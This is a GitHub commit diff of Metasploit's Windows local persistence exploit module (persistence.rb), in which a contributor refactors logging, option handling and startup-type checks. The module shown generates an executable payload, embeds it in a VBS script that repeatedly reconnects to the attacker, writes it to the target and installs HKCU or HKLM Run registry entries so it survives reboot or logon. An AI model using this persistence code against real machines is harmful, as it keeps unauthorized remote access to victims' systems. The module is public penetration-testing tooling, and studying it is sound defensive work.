Skip to content

Commit 0b55a88

Browse files
committed
persistence - better ruby/msf fu
1 parent a3debe1 commit 0b55a88

File tree

1 file changed

+32
-32
lines changed

1 file changed

+32
-32
lines changed

modules/exploits/windows/local/persistence.rb

Lines changed: 32 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -31,51 +31,50 @@ def initialize(info={})
3131
'License' => MSF_LICENSE,
3232
'Author' =>
3333
[
34-
'Carlos Perez <carlos_perez[at]darkoperator.com>'
34+
'Carlos Perez <carlos_perez[at]darkoperator.com>',
35+
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
3536
],
3637
'Platform' => [ 'win' ],
3738
'SessionTypes' => [ 'meterpreter' ],
3839
'Targets' => [ [ 'Windows', {} ] ],
3940
'DefaultTarget' => 0,
4041
'DisclosureDate'=> "Oct 19 2011",
41-
'DefaultOptions' =>
42+
'DefaultOptions'=>
4243
{
4344
'DisablePayloadHandler' => 'true',
4445
}
4546
))
4647

47-
register_options(
48-
[
49-
OptInt.new('DELAY',
50-
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
51-
OptEnum.new('STARTUP',
52-
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
53-
OptString.new('VBS_NAME',
54-
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
55-
OptString.new('EXE_NAME',
56-
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
57-
OptString.new('REG_NAME',
58-
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
59-
OptString.new('PATH',
60-
[false, 'Path to write payload (%TEMP% by default).', nil]),
61-
], self.class)
48+
register_options([
49+
OptInt.new('DELAY',
50+
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
51+
OptEnum.new('STARTUP',
52+
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
53+
OptString.new('VBS_NAME',
54+
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
55+
OptString.new('EXE_NAME',
56+
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
57+
OptString.new('REG_NAME',
58+
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
59+
OptString.new('PATH',
60+
[false, 'Path to write payload (%TEMP% by default).', nil])
61+
], self.class)
6262

6363
register_advanced_options([
6464
OptBool.new('HANDLER',
6565
[ false, 'Start an exploit/multi/handler job to receive the connection', false]),
6666
OptBool.new('EXEC_AFTER',
6767
[ false, 'Execute persistent script after installing.', false])
68-
], self.class)
68+
], self.class)
6969
end
7070

7171
# Exploit method for when exploit command is issued
7272
def exploit
73-
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
74-
7573
# Define default values
7674
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
7775
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
7876
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
77+
startup = datastore['STARTUP'].downcase
7978
delay = datastore['DELAY'] || 10
8079
exc_after = datastore['EXEC_AFTER'] || false
8180
handler = datastore['HANDLER'] || false
@@ -87,13 +86,14 @@ def exploit
8786
# Connect to the session
8887
begin
8988
host, port = session.session_host, session.session_port
89+
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
9090
rescue => e
9191
print_error("Could not connect to session")
9292
return nil
9393
end
9494

9595
# Check values
96-
if (is_system?) && (datastore['STARTUP'] == 'USER')
96+
if (is_system?) && (startup == 'user')
9797
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
9898
end
9999

@@ -105,31 +105,30 @@ def exploit
105105
end
106106

107107
# Generate the exe payload
108-
print_status("Generating EXE payload (#{rexe_name})") if datastore['VERBOSE']
108+
vprint_status("Generating EXE payload (#{rexe_name})")
109109
exe = generate_payload_exe
110110
# Generate the vbs payload
111-
print_status("Generating VBS persistent script (#{rvbs_name})") if datastore['VERBOSE']
111+
vprint_status("Generating VBS persistent script (#{rvbs_name})")
112112
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
113113
# Writing the payload to target
114-
print_status("Writing payload inside the VBS script on the target") if datastore['VERBOSE']
114+
vprint_status("Writing payload inside the VBS script on the target")
115115
script_on_target = write_script_to_target(vbsscript, rvbs_name)
116-
117116
# Exit the module because we failed to write the file on the target host
118117
# Feedback has already been given to the user, via the function.
119118
return unless script_on_target
120119

121120
# Initial execution of persistent script
122-
case datastore['STARTUP']
123-
when 'USER'
121+
case startup
122+
when 'user'
124123
# If we could not write the entry in the registy we exit the module.
125124
return unless write_to_reg("HKCU", script_on_target, reg_val)
126-
print_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") if datastore['VERBOSE']
127-
when 'SYSTEM'
125+
vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
126+
when 'system'
128127
# If we could not write the entry in the registy we exit the module.
129128
return unless write_to_reg("HKLM", script_on_target, reg_val)
130-
print_status("Payload will execute at the next SYSTEM startup") if datastore['VERBOSE']
129+
vprint_status("Payload will execute at the next SYSTEM startup")
131130
else
132-
print_error("Something went wrong. Invalid STARTUP method: #{datastore['STARTUP']}")
131+
print_error("Something went wrong. Invalid STARTUP method: #{startup}")
133132
return nil
134133
end
135134

@@ -147,7 +146,7 @@ def exploit
147146
# Create 'clean up' resource file
148147
clean_rc = log_file()
149148
file_local_write(clean_rc, @clean_up_rc)
150-
print_status("Clean up Meterpreter .RC file: #{clean_rc}")
149+
print_status("Clean up Meterpreter RC file: #{clean_rc}")
151150

152151
report_note(:host => host,
153152
:type => "host.persistance.cleanup",
@@ -183,6 +182,7 @@ def write_script_to_target(vbs, name)
183182
print_good("Deleted #{filepath}")
184183
rescue
185184
print_error("Unable to delete file!")
185+
return nil
186186
end
187187
end
188188

0 commit comments

Comments
 (0)